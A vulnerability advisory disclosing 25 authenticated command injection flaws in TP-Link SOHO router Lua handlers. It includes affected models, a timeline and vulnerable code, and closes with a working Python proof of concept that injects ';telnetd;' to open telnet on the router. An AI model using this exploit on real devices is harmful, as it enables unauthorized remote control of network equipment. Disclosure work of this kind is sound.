TP-Link Remote Command Injection

`Introduction:  
================  
The WVR-, WAR- and ER- products are the SOHO/WIFI routers of TP-Link.  
These issues allow remote authenticated administrators to execute arbitrary commands via command injection through different variables of different lua files.   
If the attacker obtains the account and password of the router, then he can execute the arbitrary command through this command injection vulnerability.   
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).  
  
  
Vulnerability Type:  
================  
Command Injection (Authenticated)  
  
  
Product:  
================  
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).  
And the following model should also be affected and the vendor has confirmed:  
TP-Link ER5110G,  
TP-Link ER5120G,  
TP-Link ER5510G,  
TP-Link ER5520G,  
TP-Link R4149G,  
TP-Link R4239G,  
TP-Link R4299G,  
TP-Link R473GP-AC,  
TP-Link R473G,  
TP-Link R473P-AC,  
TP-Link R473,  
TP-Link R478G+,  
TP-Link R478,  
TP-Link R478+,  
TP-Link R483G,  
TP-Link R483,  
TP-Link R488,  
TP-Link WAR1300L,  
TP-Link WAR1750L,  
TP-Link WAR2600L,  
TP-Link WAR302,  
TP-Link WAR450L,  
TP-Link WAR450,  
TP-Link WAR458L,  
TP-Link WAR458,  
TP-Link WAR900L,  
TP-Link WVR1300G,  
TP-Link WVR1300L,  
TP-Link WVR1750L,  
TP-Link WVR2600L,  
TP-Link WVR300,  
TP-Link WVR302,  
TP-Link WVR4300L,  
TP-Link WVR450L,  
TP-Link WVR450,  
TP-Link WVR458L,  
TP-Link WVR900G,  
TP-Link WVR900L  
  
  
CVE details:  
================  
The detail of each vulnerability are as follows:  
CVE-2017-15613: new-interface variable in the cmxddns.lua file  
CVE-2017-15614: new-outif variable in the pptp_client.lua file  
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file  
CVE-2017-15616: new-interface variable in the phddns.lua file  
CVE-2017-15617: iface variable in the interface_wan.lua file  
CVE-2017-15618: new-enable variable in the pptp_client.lua file  
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file  
CVE-2017-15620: new-zone variable in the ipmac_import.lua file  
CVE-2017-15621: olmode variable in the interface_wan.lua file  
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file  
CVE-2017-15623: new-enable variable in the pptp_server.lua file  
CVE-2017-15624: new-authtype variable in the pptp_server.lua file  
CVE-2017-15625: new-olmode variable in the pptp_client.lua file  
CVE-2017-15626: new-bindif variable in the pptp_server.lua file  
CVE-2017-15627: new-pns variable in the pptp_client.lua file  
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file  
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file  
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file  
CVE-2017-15631: new-workmode variable in the pptp_client.lua file  
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file  
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file  
CVE-2017-15634: name variable in the wportal.lua file  
CVE-2017-15635: max_conn variable in the session_limits.lua file  
CVE-2017-15636: new-time variable in the webfilter.lua file  
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file  
  
  
Credits:  
================  
chunibalon, puzzor @VARAS of IIE  
  
  
Timeline:  
================  
2017.08 to 2017.09: Issues found.  
2017.09.26: Vendor contacted.  
2017.10.13: Vendor confirmed.  
2017.10.14: CVE id requested.  
2017.10.19: CVE id assigned.  
2018.1: Vendor confirmed that all effected products have been fixed.  
  
  
Vulnerability detail:  
================  
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.   
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.  
  
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:  
***********************************  
function add_phddns(http_form)  
local form_data = json.decode(http_form.data)  
local jdata = form_data.params.new  
  
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)  
  
if not ret then  
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD  
end  
  
if not uci_r:commit(CONFIG_NAME) then  
return false, err.ERR_COM_UCI_COMMIT  
end  
  
-- add the ref of interface  
ifs.update_if_reference(jdata.interface, 1)  
  
sys.fork_exec('/etc/init.d/phddns restart')  
userconfig.cfg_modify()  
  
return jdata  
end  
***********************************  
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".   
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.   
Then the malformed value of "interface" argument causes the command injection vulnerability.  
  
  
PoC file:  
================  
***********************************  
import requests  
import urllib  
import json  
  
  
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.  
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'  
  
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'  
BASEURL = 'http://192.168.123.1'  
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'  
  
  
MARK = '###'  
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)  
  
headers = {  
"Accept": "application/json, text/javascript, */*; q=0.01",  
"Accept-Encoding": "gzip, deflate",  
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",  
"Connection": "keep-alive",  
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",  
"Host": BASEURL[7:],  
"Origin": BASEURL,  
"Referer": "%s/webpages/login.html" % (BASEURL),  
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",  
"X-Requested-With": "XMLHttpRequest"  
}  
  
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}  
login_data = {'data':json.dumps(login_data_value)}  
s = requests.Session()  
s.headers.update(headers)  
print (LOGINURL)  
print (login_data)  
res = s.post(LOGINURL, data=login_data)  
stok = eval(res.text)['result']['stok']  
print '[*] stok is %s' % (stok)  
  
tmp_vul = VULURL.replace(MARK, stok)  
print '[*] vul_url is %s ' % (tmp_vul)  
  
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}  
delete_data = {'data': json.dumps(delete_data)}  
print '[+] delete existed rule'  
res = s.post(tmp_vul, data=delete_data)  
print '[*] response is: %s' % (res.text)  
  
# after executing this payload, the router will open its telnetd service.  
payload = ''';telnetd;'''  
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}  
  
vul_data = {'data': json.dumps(vul_data)}  
print '[+] sending payload'  
res = s.post(tmp_vul, data=vul_data)  
print '[*] response is: %s' % (res.text)  
***********************************  
  
  
Reference:  
================  
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt  
`